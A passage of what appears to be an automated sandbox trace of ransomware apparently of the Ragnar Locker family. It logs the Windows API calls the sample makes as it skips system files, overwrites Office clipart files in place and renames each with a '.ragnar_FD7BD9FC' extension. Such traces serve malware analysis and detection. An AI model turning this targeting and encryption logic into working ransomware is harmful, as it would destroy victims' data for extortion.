lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.201] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0172035.WMF" | out: lpString1="J0172035.WMF") returned="J0172035.WMF" [0085.201] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned=".WMF" [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="autorun.inf") returned 1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="boot.ini") returned 1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="bootfont.bin") returned 1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="bootsect.bak") returned 1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="bootmgr") returned 1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="bootmgr.efi") returned 1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="bootmgfw.efi") returned 1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="desktop.ini") returned 1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="iconcache.db") returned 1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="ntldr") returned -1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="ntuser.dat") returned -1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="ntuser.dat.log") returned -1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="ntuser.ini") returned -1 [0085.201] lstrcmpiW (lpString1="J0172035.WMF", lpString2="thumbs.db") returned -1 [0085.201] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.201] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.201] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.201] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.201] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.201] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.202] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf")) returned 0x20 [0085.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.202] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7448) returned 1 [0085.202] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.202] GetProcessHeap () returned 0x580000 [0085.202] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.202] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.204] VirtualAlloc (lpAddress=0x0, dwSize=0x1d18, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.204] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.204] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.204] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d18, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d18, lpOverlapped=0x0) returned 1 [0085.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.205] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d18, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.205] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d18, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d18, lpOverlapped=0x0) returned 1 [0085.205] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.205] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.206] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.206] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.206] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.206] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.206] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.206] GetProcessHeap () returned 0x580000 [0085.206] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.206] CloseHandle (hObject=0xf4) returned 1 [0085.206] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" [0085.206] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.ragnar_FD7BD9FC" [0085.206] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.207] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1 [0085.207] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.207] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0172067.WMF" | out: lpString1="J0172067.WMF") returned="J0172067.WMF" [0085.207] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned=".WMF" [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="autorun.inf") returned 1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="boot.ini") returned 1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="bootfont.bin") returned 1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="bootsect.bak") returned 1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="bootmgr") returned 1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="bootmgr.efi") returned 1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="bootmgfw.efi") returned 1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="desktop.ini") returned 1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="iconcache.db") returned 1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="ntldr") returned -1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="ntuser.dat") returned -1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="ntuser.dat.log") returned -1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="ntuser.ini") returned -1 [0085.207] lstrcmpiW (lpString1="J0172067.WMF", lpString2="thumbs.db") returned -1 [0085.207] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.207] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.207] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.207] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.207] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.207] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.207] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf")) returned 0x20 [0085.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.209] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7028) returned 1 [0085.209] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.209] GetProcessHeap () returned 0x580000 [0085.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.209] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.210] VirtualAlloc (lpAddress=0x0, dwSize=0x1b74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.210] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b74, lpOverlapped=0x0) returned 1 [0085.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.211] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b74, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.211] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b74, lpOverlapped=0x0) returned 1 [0085.211] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.211] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.212] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.212] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.212] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.212] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.212] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.212] GetProcessHeap () returned 0x580000 [0085.212] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.212] CloseHandle (hObject=0xf4) returned 1 [0085.212] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" [0085.212] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.ragnar_FD7BD9FC" [0085.212] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.213] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1 [0085.213] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.213] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0172193.WMF" | out: lpString1="J0172193.WMF") returned="J0172193.WMF" [0085.213] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned=".WMF" [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="autorun.inf") returned 1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="boot.ini") returned 1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="bootfont.bin") returned 1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="bootsect.bak") returned 1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="bootmgr") returned 1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="bootmgr.efi") returned 1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="bootmgfw.efi") returned 1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="desktop.ini") returned 1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="iconcache.db") returned 1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="ntldr") returned -1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="ntuser.dat") returned -1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="ntuser.dat.log") returned -1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="ntuser.ini") returned -1 [0085.213] lstrcmpiW (lpString1="J0172193.WMF", lpString2="thumbs.db") returned -1 [0085.213] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.213] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.213] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.213] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.213] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.213] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.213] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf")) returned 0x20 [0085.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.215] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12696) returned 1 [0085.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x318f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.215] GetProcessHeap () returned 0x580000 [0085.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.215] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.216] VirtualAlloc (lpAddress=0x0, dwSize=0x3198, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.217] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.217] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.217] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3198, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3198, lpOverlapped=0x0) returned 1 [0085.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.218] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3198, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.218] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3198, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3198, lpOverlapped=0x0) returned 1 [0085.218] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3198, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.218] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3198, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.218] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.218] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.218] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.218] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.219] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.219] GetProcessHeap () returned 0x580000 [0085.219] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.219] CloseHandle (hObject=0xf4) returned 1 [0085.219] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" [0085.219] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.ragnar_FD7BD9FC" [0085.219] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.219] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1 [0085.219] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.219] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0174315.WMF" | out: lpString1="J0174315.WMF") returned="J0174315.WMF" [0085.219] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned=".WMF" [0085.219] lstrcmpiW (lpString1="J0174315.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.219] lstrcmpiW (lpString1="J0174315.WMF", lpString2="autorun.inf") returned 1 [0085.219] lstrcmpiW (lpString1="J0174315.WMF", lpString2="boot.ini") returned 1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="bootfont.bin") returned 1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="bootsect.bak") returned 1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="bootmgr") returned 1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="bootmgr.efi") returned 1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", 